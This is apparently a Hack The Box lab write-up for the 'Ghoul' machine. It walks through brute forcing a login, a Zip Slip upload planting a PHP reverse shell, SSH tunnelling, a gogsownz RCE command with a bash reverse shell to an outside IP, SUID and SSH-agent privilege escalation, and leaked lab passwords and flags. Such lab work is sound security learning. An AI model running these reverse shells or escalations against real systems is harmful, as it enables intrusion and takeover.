Ghoul – 10.10.10.101

Let’s start off with a basic but efficient nmap scan After we added Ghoul.htb to our hosts file

First let’s sweep all the ports using -Pn -p- tags

Then let’s do some detections on those ports using -sC -sV -A -Pn -px,x,x…

Okay so far we got two ssh ports and 2 websites

Let’s see which one we will put our focus on

Port 80:

Port 8080:

I think it’s obvious we have to start at port 80.

Let’s get dirb running and we can spider around in meantime

We see this at bottom of the site:

Played a bit on the site but nothing has come up yet. Desperate for something we start a brute force attack on the 2 logins.

Using an own made dict from the website -> cewl http://ghoul.htb/  > dict.txt

Now use that dict against ghoul.htb/users/login.php and ghoul.htb:8080

It worked for ghoul.htb:8080

Admin/admin -> LOLOL

Okay we got in

We can upload zip and jpeg files here! Nice.

Let’s do some research on how we can deal with this

By querying “zip upload vulnerability” and “jpeg upload vulnerability” we can get a lot of good information.

First link on zip gives me the zipslip vulnerability so we start digging deeper and see what it does

The Zip Slip vulnerability – what you need to know

“

In a nutshell, attackers can create Zip archives that use path traversal to overwrite important files on affected systems, either destroying them or replacing them with malicious alternatives.

“

Could be something, let’s search some exploits for this

https://github.com/ptoomey3/evilarc

By reading it we know what to do. 

We need to have a reverse shell, zip this one using the evilarc.py script and then upload it.

Evilarc script takes following parameters:

Where <input file> is our reverse shell we got from pentestmonkey

-p will be path where we store the shell -> in html folder -> we can execute it there

–os=unix -> default is windows and that navigating system works different so we need to change it

Default depth on 8 seems enough we will let that as it is

So after we have uploaded the zipfile on the website the malicious zip file will ‘place’ the rival.php script on the website.

*Note this is on port 80 since default directory is /var/www/html

We can trigger the script by just surfing to it

Now we should have shell as www-data

First spawn tty shell 

Now let’s look around

After looking at the 3 files we figure that kaneki is the most important one because that one is encrypted.

After downloading it to our own machine we setup perms right so we can use the file

We need a password *because* it is encrypted so let’s continue the search in our www-data shell for password.

Btw you can also copy the rsa file of the other two users to get an ssh shell as them. We decide not to do that and went for the password to get shell as kaneki

So we navigate around and see some juice

Secret.php standing out:

After reading it a few times we understands what’s going on here and see something potentially great

That ILoveTouka ❤ could be password of Aneki,Let’s try that.

Password was ‘ILoveTouka’

Here we got user

7c0f11041f210f4f7d1711d40a1c35c2

ONTO ROOT

As kaneki connected through ssh, we download a linuxprivchecker.py script from our own webserver and run it

Nothing special here.

If we do ifconfig

Here we can see there are two interfaces. Which means probably another computer on the other end of connection

We download nmap static binaries and get them on the box using wget from our own  webserver

We see another machine: 

172.20.0.150 -> kaneki-pc

After some more enumeration we get knowledge about the user: kaneki_pub

Let’s try something simple

kaneki-pc: ssh into it 

pass:ILoveTouka

Here we see a to-do note.txt

“Give AogiriTest user access to Eto for git.”

–> that’s a username we could use later maybe

At this pc we see yet another network interface:

Let’s see what we can find in that subnet

Since we are the .200 and the .1 will be routing device or whatever, we have most interest in that .2, let’s check some things

That 3000 port needs some confirmation, even after service scan it didn’t reveal anything

Let’s try making a tunnel from our machine to the 172.18.0.2 so we can output that port 3000 in our browser.

1. Make tunnel from local machine at port 1234 to port 3000 connected to kaneki using our previously ‘stolen’ id_rsa

Ssh kaneki@ghoul.htb -I kan_rsa -L 1234:127.0.0.1:300

1. Then in the shell that just popped open we can make the tunnel to where the unknown service is running

Ssh -L 3000:172.18.0.2:3000 kaneki_pub@172.20.0.150

1. We can now browse in our firefox to localhost:1234

At webpage we see login

Getting the login:

aogiriTest could be username here let’s keep that in mind

That pass is visible here:

kaneki@Aogiri:/usr/share/tomcat7

 grep -r pass -> nice trick to search for passwords in a bunch of files

aogiriTest/test@aogiri123  –> creds to login at localhost:1234

We got in webpage, a clean repo…

What can we do in an empty git? 

Found a script to have rce

https://github.com/TheZ3ro/gogsownz

Options of this script are:

We did some trial and errors in local machine while listener is running

This did the trick eventually:

“

python3 gogsownz.py http://127.0.0.1:1234/ –creds AogiriTest:’test@aogiri123′ –rce ‘bash -c “bash -i >& /dev/tcp/10.10.14.16/8845 0>&1″‘ –cleanup -v -n i_like_gogits

“

We get a connection in our listener

We are now in a shell on 172.18.0.2 box 

We need some juice on here but not sure where to look, maybe look around for ways to privesc

Found a suid we can exploit here

/usr/sbin/gosu root bash -c ‘su -‘ /bin/sh -i

Session.sh looks like interesting file, let’s look

Content of session.sh

3713ea5e4353:/root# cat session.sh #!/bin/bash while true do sleep 300 rm -rf /data/gogs/data/sessions sleep 2 curl -d ‘user_name=kaneki&password=12345ILoveTouka!!!’ http://172.18.0.2:3000/user/login done

We also see a 7z file, compressed data.

After downloading it too we opened the zip file using: 7z x aogiri-app.7z

We got some dirs so went looking in them all

This hash could be used to do a checkout of the git.

Git checkout <hash>

After this the previous wrong password we saw suddenly changed

Cat application.properties

server.port=8080

spring.datasource.url=jdbc:mysql://localhost:3306/db

spring.datasource.username=root

spring.datasource.password=7^Grc%C\7xEQ?tb4

server.address=0.0.0.0

Let’s try that root password on some boxes:

The kaneni-pc seems to do it.

Kaneki_pub$ su- 

Password = 7^Grc%C\7xEQ?tb4

After doing these weare root on the kaneki-pc

Yet have found this in the root.txt

We are not done yet apparently.

Here we can find information about what kind of exploit we will be using

http://blog.7elements.co.uk/2012/04/ssh-agent-abusing-trust-part-1.html?m=1

So basicly whenever someone connects using ssh there will be something saved in tmp folders. The values saved there can be misused by us to get root.

To do this manually it requires a lot of attention so we decided to write a script

./sshup.sh -> wait for some time and we got root

7c0f11041f210f4fadff7c077539e72f

Overal SUPER awesome box, learned a lot of new stuff! 

Was worth the time and effort!